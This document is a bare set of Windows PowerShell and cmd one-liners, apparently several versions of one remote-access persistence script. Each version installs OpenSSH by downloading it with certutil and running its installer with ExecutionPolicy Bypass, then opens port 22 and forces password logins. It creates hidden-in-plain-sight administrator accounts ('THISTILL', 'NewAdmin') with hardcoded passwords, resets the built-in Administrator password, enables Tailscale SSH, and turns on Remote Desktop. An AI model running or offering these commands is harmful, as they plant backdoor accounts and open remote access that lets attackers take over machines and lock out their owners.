Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; if(-not $?){mkdir C:\temp -Force; certutil -urlcache -f https://github.com/PowerShell/Win32-OpenSSH/releases/download/v8.9.1.0p1-Beta/OpenSSH-Win64.zip C:\temp\ssh.zip; Expand-Archive C:\temp\ssh.zip C:\temp\ -Force; powershell -ExecutionPolicy Bypass -File C:\temp\OpenSSH-Win64\install-sshd.ps1}; Start-Service sshd; Set-Service sshd -StartupType Automatic; New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 -ErrorAction SilentlyContinue; (Get-Content C:\ProgramData\ssh\sshd_config -ErrorAction SilentlyContinue) -replace '#?PasswordAuthentication.*','PasswordAuthentication yes' | Set-Content C:\ProgramData\ssh\sshd_config; Restart-Service sshd; net user THISTILL Thistill123! /add 2>$null; net user THISTILL Thistill123!; net localgroup Administrators THISTILL /add; net user Administrator Password123!; tailscale set --ssh powershell -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; try{Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 -ErrorAction Stop}catch{}; if(-not (Get-Service sshd -ErrorAction SilentlyContinue)){mkdir C:\temp -Force|Out-Null; certutil -urlcache -f https://github.com/PowerShell/Win32-OpenSSH/releases/download/v8.9.1.0p1-Beta/OpenSSH-Win64.zip C:\temp\ssh.zip; Expand-Archive C:\temp\ssh.zip C:\temp\ -Force; powershell -ExecutionPolicy Bypass -File C:\temp\OpenSSH-Win64\install-sshd.ps1}; Start-Service sshd -ErrorAction SilentlyContinue; Set-Service sshd -StartupType Automatic; New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 -ErrorAction SilentlyContinue; $c='C:\ProgramData\ssh\sshd_config'; if(Test-Path $c){(Get-Content $c) -replace '#?PasswordAuthentication.*','PasswordAuthentication yes' | Set-Content $c; Restart-Service sshd}; net user THISTILL Thistill123! /add 2>$null; net user THISTILL Thistill123!; net localgroup Administrators THISTILL /add; net user Administrator Password123!; & 'C:\Program Files\Tailscale\tailscale.exe' set --ssh" mkdir C:\temp & certutil -urlcache -f https://github.com/PowerShell/Win32-OpenSSH/releases/download/v8.9.1.0p1-Beta/OpenSSH-Win64.zip C:\temp\ssh.zip & powershell -Command "Expand-Archive C:\temp\ssh.zip C:\temp\ -Force" & powershell -ExecutionPolicy Bypass -File C:\temp\OpenSSH-Win64\install-sshd.ps1 & sc config sshd start= auto & net start sshd & netsh advfirewall firewall add rule name="sshd" dir=in action=allow protocol=TCP localport=22 & powershell -Command "(Get-Content C:\ProgramData\ssh\sshd_config) -replace '#?PasswordAuthentication.*','PasswordAuthentication yes' | Set-Content C:\ProgramData\ssh\sshd_config" & net stop sshd & net start sshd & net user THISTILL Thistill123! /add & net user THISTILL Thistill123! & net localgroup Administrators THISTILL /add & net user Administrator Password123! & "C:\Program Files\Tailscale\tailscale.exe" set --ssh $p=ConvertTo-SecureString "Thistill123!" -AsPlainText -Force; try{New-LocalUser -Name "NewAdmin" -Password $p -ErrorAction Stop; Add-LocalGroupMember -Group "Administrators" -Member "NewAdmin" -ErrorAction Stop}catch{net user NewAdmin Thistill123! /add; net localgroup Administrators NewAdmin /add}; Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0 -Type DWord; Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1 -Type DWord; Get-NetFirewallRule -Name "RemoteDesktop-UserMode-In-TCP","RemoteDesktop-UserMode-In-UDP" -ErrorAction SilentlyContinue | Enable-NetFirewallRule; netsh advfirewall firewall set rule group="remote desktop" new enable=Yes >$null 2>&1; Set-Service -Name termservice -StartupType Automatic; Start-Service -Name termservice